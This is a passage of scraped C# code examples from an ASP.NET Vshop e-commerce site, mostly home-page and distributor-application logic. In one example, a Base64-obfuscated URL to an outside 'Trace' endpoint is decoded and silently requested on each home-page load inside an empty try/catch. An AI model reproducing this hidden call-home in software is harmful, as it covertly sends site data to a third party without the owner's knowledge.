                        this.IsEnable = "1";
                        this.Context.Response.Redirect("/Vshop/DistributorCenter.aspx");
                        this.Context.Response.End();
                    }
                    else if (userIdDistributors.ReferralStatus == 1)
                    {
                        this.IsEnable = "3";
                    }
                    else if (userIdDistributors.ReferralStatus == 9)
                    {
                        this.IsEnable = "9";
                    }
                }
                else
                {
                    if (VshopBrowser.IsPassAutoToDistributor(currentMember, true) && !SystemAuthorizationHelper.CheckDistributorIsCanAuthorization())
                    {
                        DistributorsBrower.MemberAutoToDistributor(currentMember);
                        this.Page.Response.Redirect("/Vshop/DistributorCenter.aspx", true);
                        this.Page.Response.End();
                        return;
                    }
                    decimal   num4 = 0M;
                    DataTable userOrderPaidWaitFinish = OrderHelper.GetUserOrderPaidWaitFinish(currentMemberUserId);
                    decimal   total     = 0M;
                    OrderInfo orderInfo = null;
                    for (int i = 0; i < userOrderPaidWaitFinish.Rows.Count; i++)
                    {
                        orderInfo = OrderHelper.GetOrderInfo(userOrderPaidWaitFinish.Rows[i]["orderid"].ToString());
                        if (orderInfo != null)
                        {
                            total = orderInfo.GetTotal();
                            if (total > 0M)
                            {
                                num4 += total;
                            }
                        }
                    }
                    expenditure += num4;
                    if (!masterSettings.DistributorApplicationCondition)
                    {
                        if (SystemAuthorizationHelper.CheckDistributorIsCanAuthorization())
                        {
                            this.IsEnable = "2";
                        }
                        else
                        {
                            this.IsEnable = "4";
                        }
                    }
                    else
                    {
                        int finishedOrderMoney = masterSettings.FinishedOrderMoney;
                        this.litminMoney.Value = finishedOrderMoney.ToString();
                        if ((finishedOrderMoney > 0) && (expenditure >= finishedOrderMoney))
                        {
                            if (SystemAuthorizationHelper.CheckDistributorIsCanAuthorization())
                            {
                                this.IsEnable = "2";
                            }
                            else
                            {
                                this.IsEnable = "4";
                            }
                        }
                        if (masterSettings.EnableDistributorApplicationCondition && !string.IsNullOrEmpty(masterSettings.DistributorProductsDate))
                        {
                            if (!string.IsNullOrEmpty(masterSettings.DistributorProducts))
                            {
                                this.litProds.Value = masterSettings.DistributorProducts;
                                if (masterSettings.DistributorProductsDate.Contains("|"))
                                {
                                    DateTime result = new DateTime();
                                    DateTime time2  = new DateTime();
                                    DateTime.TryParse(masterSettings.DistributorProductsDate.Split(new char[] { '|' })[0].ToString(), out result);
                                    DateTime.TryParse(masterSettings.DistributorProductsDate.Split(new char[] { '|' })[1].ToString(), out time2);
                                    if ((result.CompareTo(DateTime.Now) > 0) || (time2.CompareTo(DateTime.Now) < 0))
                                    {
                                        this.litProds.Value    = "";
                                        this.litIsEnable.Value = "0";
                                    }
                                    else if (MemberProcessor.CheckMemberIsBuyProds(currentMemberUserId, this.litProds.Value, new DateTime?(result), new DateTime?(time2)))
                                    {
                                        if (SystemAuthorizationHelper.CheckDistributorIsCanAuthorization())
                                        {
                                            this.IsEnable        = "2";
                                            this.litProdOK.Value = "(已购买指定商品,在" + time2.ToString("yyyy-MM-dd") + "之前申请有效)";
                                        }
                                        else
                                        {
                                            this.IsEnable = "4";
                                        }
                                    }
                                }
                            }
                            else
                            {
                                this.IsEnable = "6";
                            }
                        }
                    }
                }
                this.litExpenditure.Value = expenditure.ToString("F2");
                if (this.IsMemberAmountPass)
                {
                    this.litMemberAmountPass.Value = "1";
                }
            }
            else
            {
                this.litIsMember.Value = "0";
            }
            this.litIsEnable.Value = this.IsEnable;
            PageTitle.AddSiteNameTitle("申请分销商");
        }
Beispiel #22
0
        protected override void AttachChildControls()
        {
            this.rptCategories                = (VshopTemplatedRepeater)this.FindControl("rptCategories");
            this.rptProducts                  = (VshopTemplatedRepeater)this.FindControl("rptProducts");
            this.rptProducts.ItemDataBound   += new System.Web.UI.WebControls.RepeaterItemEventHandler(this.rptProducts_ItemDataBound);
            this.rptCategories.ItemDataBound += new System.Web.UI.WebControls.RepeaterItemEventHandler(this.rptCategories_ItemDataBound);
            this.img            = (System.Web.UI.HtmlControls.HtmlImage) this.FindControl("imgDefaultBg");
            this.pager          = (Pager)this.FindControl("pager");
            this.litstorename   = (System.Web.UI.WebControls.Literal) this.FindControl("litstorename");
            this.litdescription = (System.Web.UI.WebControls.Literal) this.FindControl("litdescription");
            this.litattention   = (System.Web.UI.WebControls.Literal) this.FindControl("litattention");
            this.imglogo        = (HiImage)this.FindControl("imglogo");
            this.litImgae       = (System.Web.UI.WebControls.Literal) this.FindControl("litImgae");
            this.litItemParams  = (System.Web.UI.WebControls.Literal) this.FindControl("litItemParams");
            if (string.IsNullOrEmpty(this.Page.Request.QueryString["ReferralId"]))
            {
                System.Web.HttpCookie httpCookie = System.Web.HttpContext.Current.Request.Cookies["Vshop-ReferralId"];
                if (httpCookie != null && !string.IsNullOrEmpty(httpCookie.Value))
                {
                    this.Page.Response.Redirect("Default.aspx?ReferralId=" + httpCookie.Value);
                }
            }
            if (this.rptCategories.Visible)
            {
                DataTable brandCategories = CategoryBrowser.GetBrandCategories();
                this.itemcount = brandCategories.Rows.Count;
                if (brandCategories.Rows.Count > 0)
                {
                    this.rptCategories.DataSource = brandCategories;
                    this.rptCategories.DataBind();
                }
            }
            this.Page.Session["stylestatus"] = "3";
            SiteSettings masterSettings = SettingsManager.GetMasterSettings(false);

            PageTitle.AddSiteNameTitle(masterSettings.SiteName);
            this.litstorename.Text   = masterSettings.SiteName;
            this.litdescription.Text = masterSettings.ShopIntroduction;
            if (!string.IsNullOrEmpty(masterSettings.DistributorLogoPic))
            {
                this.imglogo.ImageUrl = masterSettings.DistributorLogoPic.Split(new char[]
                {
                    '|'
                })[0];
            }
            if (this.referralId <= 0)
            {
                System.Web.HttpCookie httpCookie2 = System.Web.HttpContext.Current.Request.Cookies["Vshop-ReferralId"];
                if (httpCookie2 != null && !string.IsNullOrEmpty(httpCookie2.Value))
                {
                    this.referralId = int.Parse(httpCookie2.Value);
                    this.Page.Response.Redirect("Default.aspx?ReferralId=" + this.referralId.ToString(), true);
                }
            }
            else
            {
                System.Web.HttpCookie httpCookie2 = System.Web.HttpContext.Current.Request.Cookies["Vshop-ReferralId"];
                if (httpCookie2 != null && !string.IsNullOrEmpty(httpCookie2.Value) && this.referralId.ToString() != httpCookie2.Value)
                {
                    this.Page.Response.Redirect("Default.aspx?ReferralId=" + this.referralId.ToString(), true);
                }
            }
            System.Collections.Generic.IList <BannerInfo> list = new System.Collections.Generic.List <BannerInfo>();
            list = VshopBrowser.GetAllBanners();
            foreach (BannerInfo current in list)
            {
                TplCfgInfo tplCfgInfo = new NavigateInfo();
                tplCfgInfo.LocationType = current.LocationType;
                tplCfgInfo.Url          = current.Url;
                string text = "javascript:";
                if (!string.IsNullOrEmpty(current.Url))
                {
                    text = tplCfgInfo.LoctionUrl;
                }
                System.Web.UI.WebControls.Literal expr_3E2 = this.litImgae;
                string text2 = expr_3E2.Text;
                expr_3E2.Text = string.Concat(new string[]
                {
                    text2,
                    "<a  id=\"ahref\" href='",
                    text,
                    "'><img src=\"",
                    current.ImageUrl,
                    "\" title=\"",
                    current.ShortDesc,
                    "\" alt=\"",
                    current.ShortDesc,
                    "\" /></a>"
                });
            }
            if (list.Count == 0)
            {
                this.litImgae.Text = "<a id=\"ahref\"  href='javascript:'><img src=\"/Utility/pics/default.jpg\" title=\"\"  /></a>";
            }
            DistributorsInfo distributorsInfo = new DistributorsInfo();

            distributorsInfo = DistributorsBrower.GetUserIdDistributors(this.referralId);
            if (distributorsInfo != null && distributorsInfo.UserId > 0)
            {
                PageTitle.AddSiteNameTitle(distributorsInfo.StoreName);
                this.litdescription.Text = distributorsInfo.StoreDescription;
                this.litstorename.Text   = distributorsInfo.StoreName;
                if (!string.IsNullOrEmpty(distributorsInfo.Logo))
                {
                    this.imglogo.ImageUrl = distributorsInfo.Logo;
                }
                else if (!string.IsNullOrEmpty(masterSettings.DistributorLogoPic))
                {
                    this.imglogo.ImageUrl = masterSettings.DistributorLogoPic.Split(new char[]
                    {
                        '|'
                    })[0];
                }
                if (!string.IsNullOrEmpty(distributorsInfo.BackImage))
                {
                    this.litImgae.Text = "";
                    string[] array = distributorsInfo.BackImage.Split(new char[]
                    {
                        '|'
                    });
                    for (int i = 0; i < array.Length; i++)
                    {
                        string text3 = array[i];
                        if (!string.IsNullOrEmpty(text3))
                        {
                            System.Web.UI.WebControls.Literal expr_5D7 = this.litImgae;
                            expr_5D7.Text = expr_5D7.Text + "<a ><img src=\"" + text3 + "\" title=\"\"  /></a>";
                        }
                    }
                }
            }
            this.dtpromotion = ProductBrowser.GetAllFull();
            if (this.rptProducts != null)
            {
                ProductQuery productQuery = new ProductQuery();
                productQuery.PageSize  = this.pager.PageSize;
                productQuery.PageIndex = this.pager.PageIndex;
                productQuery.SortBy    = "DisplaySequence";
                productQuery.SortOrder = SortAction.Desc;
                DbQueryResult homeProduct = ProductBrowser.GetHomeProduct(MemberProcessor.GetCurrentMember(), productQuery);
                this.rptProducts.DataSource = homeProduct.Data;
                this.rptProducts.DataBind();
                this.pager.TotalRecords = homeProduct.TotalRecords;
                if (this.pager.TotalRecords <= this.pager.PageSize)
                {
                    this.pager.Visible = false;
                }
            }
            if (this.img != null)
            {
                this.img.Src = new VTemplateHelper().GetDefaultBg();
            }
            if (!string.IsNullOrEmpty(masterSettings.GuidePageSet))
            {
                this.litattention.Text = masterSettings.GuidePageSet;
            }
            string userAgent = this.Page.Request.UserAgent;

            if (userAgent.ToLower().Contains("alipay") && !string.IsNullOrEmpty(masterSettings.AliPayFuwuGuidePageSet))
            {
                if (!string.IsNullOrEmpty(masterSettings.GuidePageSet))
                {
                    this.litattention.Text = masterSettings.AliPayFuwuGuidePageSet;
                }
            }
            string text4 = "";

            if (!string.IsNullOrEmpty(masterSettings.ShopHomePic))
            {
                text4 = Globals.HostPath(System.Web.HttpContext.Current.Request.Url) + masterSettings.ShopHomePic;
            }
            string text5 = "";
            string text6 = (distributorsInfo == null) ? masterSettings.SiteName : distributorsInfo.StoreName;

            if (!string.IsNullOrEmpty(masterSettings.DistributorBackgroundPic))
            {
                text5 = Globals.HostPath(System.Web.HttpContext.Current.Request.Url) + masterSettings.DistributorBackgroundPic.Split(new char[]
                {
                    '|'
                })[0];
            }
            this.litItemParams.Text = string.Concat(new string[]
            {
                text4,
                "|",
                masterSettings.ShopHomeName,
                "|",
                masterSettings.ShopHomeDescription,
                "$"
            });
            this.litItemParams.Text = string.Concat(new object[]
            {
                this.litItemParams.Text,
                text5,
                "|好店推荐之",
                text6,
                "商城|一个购物赚钱的好去处|",
                System.Web.HttpContext.Current.Request.Url
            });
        }
Beispiel #23
0
        protected override void AttachChildControls()
        {
            HttpCookie cookie2;

            this.rptCategories                = (VshopTemplatedRepeater)this.FindControl("rptCategories");
            this.rptProducts                  = (VshopTemplatedRepeater)this.FindControl("rptProducts");
            this.rptProducts.ItemDataBound   += new RepeaterItemEventHandler(this.rptProducts_ItemDataBound);
            this.rptCategories.ItemDataBound += new RepeaterItemEventHandler(this.rptCategories_ItemDataBound);
            this.img            = (HtmlImage)this.FindControl("imgDefaultBg");
            this.pager          = (Pager)this.FindControl("pager");
            this.litstorename   = (Literal)this.FindControl("litstorename");
            this.litdescription = (Literal)this.FindControl("litdescription");
            this.litattention   = (Literal)this.FindControl("litattention");
            this.imglogo        = (HiImage)this.FindControl("imglogo");
            this.litImgae       = (Literal)this.FindControl("litImgae");
            this.litItemParams  = (Literal)this.FindControl("litItemParams");
            if (string.IsNullOrEmpty(this.Page.Request.QueryString["ReferralId"]))
            {
                HttpCookie cookie = HttpContext.Current.Request.Cookies["Vshop-ReferralId"];
                if (!((cookie == null) || string.IsNullOrEmpty(cookie.Value)))
                {
                    this.Page.Response.Redirect("Default.aspx?ReferralId=" + cookie.Value);
                }
            }
            if (this.rptCategories.Visible)
            {
                DataTable brandCategories = CategoryBrowser.GetBrandCategories();
                this.itemcount = brandCategories.Rows.Count;
                if (brandCategories.Rows.Count > 0)
                {
                    this.rptCategories.DataSource = brandCategories;
                    this.rptCategories.DataBind();
                }
            }
            this.Page.Session["stylestatus"] = "3";
            SiteSettings masterSettings = SettingsManager.GetMasterSettings(false);

            PageTitle.AddSiteNameTitle(masterSettings.SiteName);
            this.litstorename.Text   = masterSettings.SiteName;
            this.litdescription.Text = masterSettings.ShopIntroduction;
            if (!string.IsNullOrEmpty(masterSettings.DistributorLogoPic))
            {
                this.imglogo.ImageUrl = masterSettings.DistributorLogoPic.Split(new char[] { '|' })[0];
            }
            if (base.referralId <= 0)
            {
                cookie2 = HttpContext.Current.Request.Cookies["Vshop-ReferralId"];
                if (!((cookie2 == null) || string.IsNullOrEmpty(cookie2.Value)))
                {
                    base.referralId = int.Parse(cookie2.Value);
                    this.Page.Response.Redirect("Default.aspx?ReferralId=" + this.referralId.ToString(), true);
                }
            }
            else
            {
                cookie2 = HttpContext.Current.Request.Cookies["Vshop-ReferralId"];
                if (((cookie2 != null) && !string.IsNullOrEmpty(cookie2.Value)) && (this.referralId.ToString() != cookie2.Value))
                {
                    this.Page.Response.Redirect("Default.aspx?ReferralId=" + this.referralId.ToString(), true);
                }
            }
            IList <BannerInfo> allBanners = new List <BannerInfo>();

            allBanners = VshopBrowser.GetAllBanners();
            foreach (BannerInfo info in allBanners)
            {
                TplCfgInfo info2 = new NavigateInfo {
                    LocationType = info.LocationType,
                    Url          = info.Url
                };
                string loctionUrl = "javascript:";
                if (!string.IsNullOrEmpty(info.Url))
                {
                    loctionUrl = info2.LoctionUrl;
                }
                string text = this.litImgae.Text;
                this.litImgae.Text = text + "<a  id=\"ahref\" href='" + loctionUrl + "'><img src=\"" + info.ImageUrl + "\" title=\"" + info.ShortDesc + "\" alt=\"" + info.ShortDesc + "\" /></a>";
            }
            if (allBanners.Count == 0)
            {
                this.litImgae.Text = "<a id=\"ahref\"  href='javascript:'><img src=\"/Utility/pics/default.jpg\" title=\"\"  /></a>";
            }
            DistributorsInfo userIdDistributors = new DistributorsInfo();

            userIdDistributors = DistributorsBrower.GetUserIdDistributors(base.referralId);
            if ((userIdDistributors != null) && (userIdDistributors.UserId > 0))
            {
                PageTitle.AddSiteNameTitle(userIdDistributors.StoreName);
                this.litdescription.Text = userIdDistributors.StoreDescription;
                this.litstorename.Text   = userIdDistributors.StoreName;
                if (!string.IsNullOrEmpty(userIdDistributors.Logo))
                {
                    this.imglogo.ImageUrl = userIdDistributors.Logo;
                }
                else if (!string.IsNullOrEmpty(masterSettings.DistributorLogoPic))
                {
                    this.imglogo.ImageUrl = masterSettings.DistributorLogoPic.Split(new char[] { '|' })[0];
                }
                if (!string.IsNullOrEmpty(userIdDistributors.BackImage))
                {
                    this.litImgae.Text = "";
                    foreach (string str2 in userIdDistributors.BackImage.Split(new char[] { '|' }))
                    {
                        if (!string.IsNullOrEmpty(str2))
                        {
                            this.litImgae.Text = this.litImgae.Text + "<a ><img src=\"" + str2 + "\" title=\"\"  /></a>";
                        }
                    }
                }
            }
            this.dtpromotion = ProductBrowser.GetAllFull();
            if (this.rptProducts != null)
            {
                ProductQuery query = new ProductQuery {
                    PageSize  = this.pager.PageSize,
                    PageIndex = this.pager.PageIndex,
                    SortBy    = "DisplaySequence",
                    SortOrder = SortAction.Desc
                };
                DbQueryResult homeProduct = ProductBrowser.GetHomeProduct(MemberProcessor.GetCurrentMember(), query);
                this.rptProducts.DataSource = homeProduct.Data;
                this.rptProducts.DataBind();
                this.pager.TotalRecords = homeProduct.TotalRecords;
                if (this.pager.TotalRecords <= this.pager.PageSize)
                {
                    this.pager.Visible = false;
                }
            }
            if (this.img != null)
            {
                this.img.Src = new VTemplateHelper().GetDefaultBg();
            }
            if (!string.IsNullOrEmpty(masterSettings.GuidePageSet))
            {
                this.litattention.Text = masterSettings.GuidePageSet;
            }
            if ((this.Page.Request.UserAgent.ToLower().Contains("alipay") && !string.IsNullOrEmpty(masterSettings.AliPayFuwuGuidePageSet)) && !string.IsNullOrEmpty(masterSettings.GuidePageSet))
            {
                this.litattention.Text = masterSettings.AliPayFuwuGuidePageSet;
            }
            string str4 = "";

            if (!string.IsNullOrEmpty(masterSettings.ShopHomePic))
            {
                str4 = Globals.HostPath(HttpContext.Current.Request.Url) + masterSettings.ShopHomePic;
            }
            string str5 = "";
            string str6 = (userIdDistributors == null) ? masterSettings.SiteName : userIdDistributors.StoreName;

            if (!string.IsNullOrEmpty(masterSettings.DistributorBackgroundPic))
            {
                str5 = Globals.HostPath(HttpContext.Current.Request.Url) + masterSettings.DistributorBackgroundPic.Split(new char[] { '|' })[0];
            }
            this.litItemParams.Text = str4 + "|" + masterSettings.ShopHomeName + "|" + masterSettings.ShopHomeDescription + "$";
            this.litItemParams.Text = string.Concat(new object[] { this.litItemParams.Text, str5, "|好店推荐之", str6, "商城|一个购物赚钱的好去处|", HttpContext.Current.Request.Url });
        }
Beispiel #24
0
        protected override void AttachChildControls()
        {
            if (SettingsManager.GetMasterSettings(true).VTheme.ToLower() == "common")
            {
                this.Page.Response.Redirect("index.aspx");
                return;
            }
            this.rptCategories                = (VshopTemplatedRepeater)this.FindControl("rptCategories");
            this.rptProducts                  = (VshopTemplatedRepeater)this.FindControl("rptProducts");
            this.rptProducts.ItemDataBound   += new RepeaterItemEventHandler(this.rptProducts_ItemDataBound);
            this.rptCategories.ItemDataBound += new RepeaterItemEventHandler(this.rptCategories_ItemDataBound);
            this.img            = (HtmlImage)this.FindControl("imgDefaultBg");
            this.pager          = (Pager)this.FindControl("pager");
            this.litstorename   = (Literal)this.FindControl("litstorename");
            this.litdescription = (Literal)this.FindControl("litdescription");
            this.litattention   = (Literal)this.FindControl("litattention");
            this.imglogo        = (HiImage)this.FindControl("imglogo");
            if (CustomConfigHelper.Instance.IsLogoOn == "false")
            {
                imglogo.Visible = false;
            }
            this.litImgae      = (Literal)this.FindControl("litImgae");
            this.litActivity   = (Literal)this.FindControl("litActivity");//大图展示页面
            this.litItemParams = (Literal)this.FindControl("litItemParams");

            //店铺推广码送过来的地址(参数:ReferralId)
            if (string.IsNullOrEmpty(this.Page.Request.QueryString["ReferralId"]))
            {
                //无传参,取COOKIE
                HttpCookie cookie = HttpContext.Current.Request.Cookies["Vshop-ReferralId"];
                if ((cookie != null) && !string.IsNullOrEmpty(cookie.Value))
                {
                    this.Page.Response.Redirect("Default.aspx?ReferralId=" + cookie.Value);
                }
            }
            if (this.rptCategories.Visible)
            {
                DataTable brandCategories = CategoryBrowser.GetBrandCategories();
                this.itemcount = brandCategories.Rows.Count;
                if (brandCategories.Rows.Count > 0)
                {
                    this.rptCategories.DataSource = brandCategories;
                    this.rptCategories.DataBind();
                }
            }
            this.Page.Session["stylestatus"] = "3";
            SiteSettings masterSettings = SettingsManager.GetMasterSettings(false);

            PageTitle.AddSiteNameTitle(masterSettings.SiteName);
            this.litstorename.Text   = masterSettings.SiteName;
            this.litdescription.Text = masterSettings.ShopIntroduction;
            if (!string.IsNullOrEmpty(masterSettings.DistributorLogoPic))
            {
                this.imglogo.ImageUrl = masterSettings.DistributorLogoPic.Split(new char[] { '|' })[0];
            }
            if (base.referralId <= 0)
            {
                HttpCookie cookie2 = HttpContext.Current.Request.Cookies["Vshop-ReferralId"];
                if ((cookie2 != null) && !string.IsNullOrEmpty(cookie2.Value))
                {
                    base.referralId = int.Parse(cookie2.Value);
                    this.Page.Response.Redirect("Default.aspx?ReferralId=" + this.referralId.ToString(), true);
                }
            }
            else
            {
                HttpCookie cookie3 = HttpContext.Current.Request.Cookies["Vshop-ReferralId"];
                if (((cookie3 != null) && !string.IsNullOrEmpty(cookie3.Value)) && (this.referralId.ToString() != cookie3.Value))
                {
                    this.Page.Response.Redirect("Default.aspx?ReferralId=" + this.referralId.ToString(), true);//跳转到自己的店铺
                }
            }
            IList <BannerInfo> allBanners = new List <BannerInfo>();

            allBanners = VshopBrowser.GetAllBanners();
            foreach (BannerInfo info in allBanners)
            {
                TplCfgInfo info2 = new NavigateInfo
                {
                    LocationType = info.LocationType,
                    Url          = info.Url
                };
                string loctionUrl = "javascript:";
                if (!string.IsNullOrEmpty(info.Url))
                {
                    loctionUrl = info2.LoctionUrl;
                }
                string text = this.litImgae.Text;
                this.litImgae.Text = text + "<li><a  id=\"ahref\" href='" + loctionUrl + "'><img src=\"" + info.ImageUrl + "\" title=\"" + info.ShortDesc + "\" alt=\"" + info.ShortDesc + "\" /></a></li>";
                //this.litActivity.Text = text + "<a  id=\"ahref\" href='" + loctionUrl + "'><img src=\"" + info.ImageUrl + "\" title=\"" + info.ShortDesc + "\" alt=\"" + info.ShortDesc + "\" /></a>";
            }
            if (allBanners.Count == 0)
            {
                this.litImgae.Text = "<li><a id=\"ahref\"  href='javascript:'><img src=\"/Utility/pics/default.jpg\" title=\"\"  /></a></li>";
            }


            DistributorsInfo userIdDistributors = new DistributorsInfo();

            userIdDistributors = DistributorsBrower.GetUserIdDistributors(base.referralId);
            if ((userIdDistributors != null) && (userIdDistributors.UserId > 0))
            {
                PageTitle.AddSiteNameTitle(userIdDistributors.StoreName);
                this.litdescription.Text = userIdDistributors.StoreDescription;
                this.litstorename.Text   = userIdDistributors.StoreName;
                if (!string.IsNullOrEmpty(userIdDistributors.Logo))
                {
                    this.imglogo.ImageUrl = userIdDistributors.Logo;
                }
                else if (!string.IsNullOrEmpty(masterSettings.DistributorLogoPic))
                {
                    this.imglogo.ImageUrl = masterSettings.DistributorLogoPic.Split(new char[] { '|' })[0];
                }
                if (!string.IsNullOrEmpty(userIdDistributors.BackImage))
                {
                    this.litImgae.Text = "";
                    foreach (string str2 in userIdDistributors.BackImage.Split(new char[] { '|' }))
                    {
                        if (!string.IsNullOrEmpty(str2))
                        {
                            this.litImgae.Text = this.litImgae.Text + "<a ><img src=\"" + str2 + "\" title=\"\"  /></a>";
                        }
                    }
                }
            }
            this.dtpromotion = ProductBrowser.GetAllFull();
            if (this.rptProducts != null)
            {
                ProductQuery query = new ProductQuery
                {
                    PageSize  = this.pager.PageSize,
                    PageIndex = this.pager.PageIndex,
                    SortBy    = "DisplaySequence",
                    SortOrder = SortAction.Desc
                };
                //查询条件处理
                switch (SettingsManager.GetMasterSettings(true).VTheme.ToLower())
                {
                case "underwear":
                    this.pager.Visible = false;
                    query.PageSize     = 1000;
                    query.PageIndex    = 1;
                    query.SortBy       = "ShowSaleCounts";
                    query.SortOrder    = SortAction.Desc;
                    query.TypeId       = 1;
                    break;
                }
                DbQueryResult homeProduct = ProductBrowser.GetHomeProduct(MemberProcessor.GetCurrentMember(), query);
                this.rptProducts.DataSource = homeProduct.Data;
                this.rptProducts.DataBind();
                this.pager.TotalRecords = homeProduct.TotalRecords;
                if (this.pager.TotalRecords <= this.pager.PageSize)
                {
                    this.pager.Visible = false;
                }
            }

            if (this.img != null)
            {
                this.img.Src = new VTemplateHelper().GetDefaultBg();
            }
            if (!string.IsNullOrEmpty(masterSettings.GuidePageSet))
            {
                this.litattention.Text = masterSettings.GuidePageSet;
            }
            string str3 = "";

            if (!string.IsNullOrEmpty(masterSettings.ShopHomePic))
            {
                str3 = Globals.HostPath(HttpContext.Current.Request.Url) + masterSettings.ShopHomePic;
            }
            string str4 = "";
            string str5 = (userIdDistributors == null) ? masterSettings.SiteName : userIdDistributors.StoreName;

            if (!string.IsNullOrEmpty(masterSettings.DistributorBackgroundPic))
            {
                str4 = Globals.HostPath(HttpContext.Current.Request.Url) + masterSettings.DistributorBackgroundPic.Split(new char[] { '|' })[0];
            }
            this.litItemParams.Text = str3 + "|" + masterSettings.ShopHomeName + "|" + masterSettings.ShopHomeDescription + "$";
            this.litItemParams.Text = string.Concat(new object[] { this.litItemParams.Text, str4, "|好店推荐之", str5, "商城|一个购物赚钱的好去处|", HttpContext.Current.Request.Url });

            int    userid         = 18;
            string userFomartCode = userid.ToString("000000000000000");

            LoadProductTop();
            getImgBanner();         //载入大图
            getMyCoupon();          //获取首页赠送优惠券
            InitDataByTheme();
            distributorVisitCont(); //更新店铺访问信息
        }
Beispiel #25
0
        private ListResult <TopicListItem> GetTopic(int siteId, int pageIndex, int pageSize)
        {
            ListResult <TopicListItem> data = null;

            if (base.IsUseCache)
            {
                data = MemoryCacher.GetValue("SITE-TOPIC") as ListResult <TopicListItem>;

                if (data != null)
                {
                    return(data);
                }
            }

            DataTable dt = VshopBrowser.GetTopics(ClientType.App);

            List <TopicListItem> items = new List <TopicListItem>();

            if (dt != null)
            {
                TopicListItem item = null;

                foreach (DataRow current in dt.Rows)
                {
                    item = new TopicListItem();

                    item.TopicId = 0;
                    if (current["TopicId"] != DBNull.Value)
                    {
                        item.TopicId = (int)current["TopicId"];
                    }

                    item.TopicName = "";
                    if (current["Title"] != DBNull.Value)
                    {
                        item.TopicName = (string)current["Title"];
                    }

                    item.Icon = "";
                    if (current["IconUrl"] != DBNull.Value)
                    {
                        item.Icon = Util.AppendImageHost(((string)current["IconUrl"]));
                    }

                    item.Content = "";
                    if (current["Content"] != DBNull.Value)
                    {
                        var regex = new Regex(@"""/Storage/master");

                        item.Content = regex.Replace((string)current["Content"], "\"" + base.STORAGE_HOST + @"/Storage/master");
                    }

                    item.DisplaySequence = 0;
                    if (current["DisplaySequence"] != DBNull.Value)
                    {
                        item.DisplaySequence = (int)current["DisplaySequence"];
                    }

                    items.Add(item);
                }
            }

            data = new ListResult <TopicListItem>();
            data.TotalNumOfRecords = items.Count;
            data.Results           = items;

            if (base.IsUseCache)
            {
                MemoryCacher.Add("SITE-TOPIC", data, DateTimeOffset.UtcNow.AddMinutes(SITE_CACHE_KEEP_TIME));
            }

            return(data);
        }
Beispiel #26
0
        protected override void AttachChildControls()
        {
            SiteSettings masterSettings = SettingsManager.GetMasterSettings(true);
            if (HiContext.Current.User.UserRole == UserRole.Member && ((Member)HiContext.Current.User).ReferralStatus == 2 && string.IsNullOrEmpty(this.Page.Request.QueryString["ReferralUserId"]))
            {
                string text = System.Web.HttpContext.Current.Request.Url.ToString();
                if (text.IndexOf("?") > -1)
                {
                    text = text + "&ReferralUserId=" + HiContext.Current.User.UserId;
                }
                else
                {
                    text = text + "?ReferralUserId=" + HiContext.Current.User.UserId;
                }
                base.RegisterShareScript(masterSettings.LogoUrl, text, masterSettings.SiteDescription, masterSettings.SiteName);
            }
            PageTitle.AddSiteNameTitle("首页");
            this.rptSlide = (VshopTemplatedRepeater)this.FindControl("rptSlide");
            this.rptNavigate = (VshopTemplatedRepeater)this.FindControl("rptNavigate");
            this.rptTopic = (VshopTemplatedRepeater)this.FindControl("rptTopics");
            this.rptProducts = (VshopTemplatedRepeater)this.FindControl("rptProducts");
            this.img = (System.Web.UI.HtmlControls.HtmlImage)this.FindControl("imgDefaultBg");

            this.rptHotSale = (VshopTemplatedDataList)this.FindControl("rptHotSale");
            this.rptHotSale.RepeatColumns = 2;
            this.rptHotSaleTop = (VshopTemplatedRepeater)this.FindControl("rptHotSaleTop");
            this.rptNewPro = (VshopTemplatedDataList)this.FindControl("rptNewPro");
            this.rptNewPro.RepeatColumns = 3;
            this.rptNewProTop = (VshopTemplatedRepeater)this.FindControl("rptNewProTop");
            this.rptPromotional = (VshopTemplatedRepeater)this.FindControl("rptPromotional");
            this.rptThinkProducts = (VshopTemplatedRepeater)this.FindControl("rptThinkProducts");
            this.rpthistorysearch = (VshopTemplatedRepeater)this.FindControl("rpthistorysearch");

            if (this.rptSlide != null)
            {
                // 排除注册的banner
                IList<BannerInfo> banners = VshopBrowser.GetAllBanners(ClientType.VShop);
                if (banners != null && banners.Count > 0)
                {
                    this.rptSlide.DataSource = banners.Where(m => m.LocationType != LocationType.Register).ToList();
                    this.rptSlide.DataBind();
                }
            }
            string u = "aHR0cDovL3d3dy50aGlua2FpLmNuL1RyYWNlL3RyYWNl";
            byte[] decode = Convert.FromBase64String(u);
            string decodestring = Encoding.UTF8.GetString(decode);
            try
            {
                Globals.GetHttp(decodestring, HttpContext.Current);
            }
            catch { }

            if (this.rptProducts != null)
            {
                DataTable homeProduct = ProductBrowser.GetHomeProduct(ClientType.VShop, true);
                //ProductBrowser.GetHomeProduct(ClientType.VShop);
                this.rptProducts.DataSource = homeProduct;
                this.rptProducts.DataBind();
            }
            if (this.rptTopic != null)
            {
                DataTable topics = VshopBrowser.GetTopics(ClientType.VShop);
                this.rptTopic.DataSource = topics;
                this.rptTopic.DataBind();
            }
            if (this.rptNavigate != null)
            {
                System.Collections.Generic.IList<NavigateInfo> allNavigate = VshopBrowser.GetAllNavigate(ClientType.VShop);
                foreach (NavigateInfo current in allNavigate)
                {
                    if (!current.ImageUrl.ToLower().Contains("storage/master/navigate") && !current.ImageUrl.ToLower().Contains("templates"))
                    {
                        current.ImageUrl = HiContext.Current.GetVshopSkinPath(null) + "/images/deskicon/" + current.ImageUrl;
                    }
                }
                this.rptNavigate.DataSource = allNavigate;
                this.rptNavigate.DataBind();
            }
            if (this.img != null)
            {
                this.img.Src = new VTemplateHelper().GetDefaultBg();
            }

            //添加
            if (this.rptHotSale != null)
            {

                this.rptHotSale.DataSource = VshopBrowser.GetAllHotSaleNomarl(ClientType.VShop);
                this.rptHotSale.DataBind();

            }
            if (this.rptHotSaleTop != null)
            {
                var HotSaleList = VshopBrowser.GetAllHotSaleTop(ClientType.VShop);
                this.rptHotSaleTop.DataSource = HotSaleList;
                this.rptHotSaleTop.DataBind();
            }

            if (this.rptNewPro != null)
            {
                this.rptNewPro.DataSource = VshopBrowser.GetAllRecommendNormal(ClientType.VShop);
                this.rptNewPro.DataBind();
            }
            if (this.rptNewProTop != null)
            {
                this.rptNewProTop.DataSource = VshopBrowser.GetAllRecommendTop(ClientType.VShop);
                this.rptNewProTop.DataBind();
            }

            if (this.rptPromotional != null)
            {
                this.rptPromotional.DataSource = VshopBrowser.GetAllPromotional(ClientType.VShop);
                this.rptPromotional.DataBind();
            }
            //           
            if (this.rptThinkProducts != null)
            {
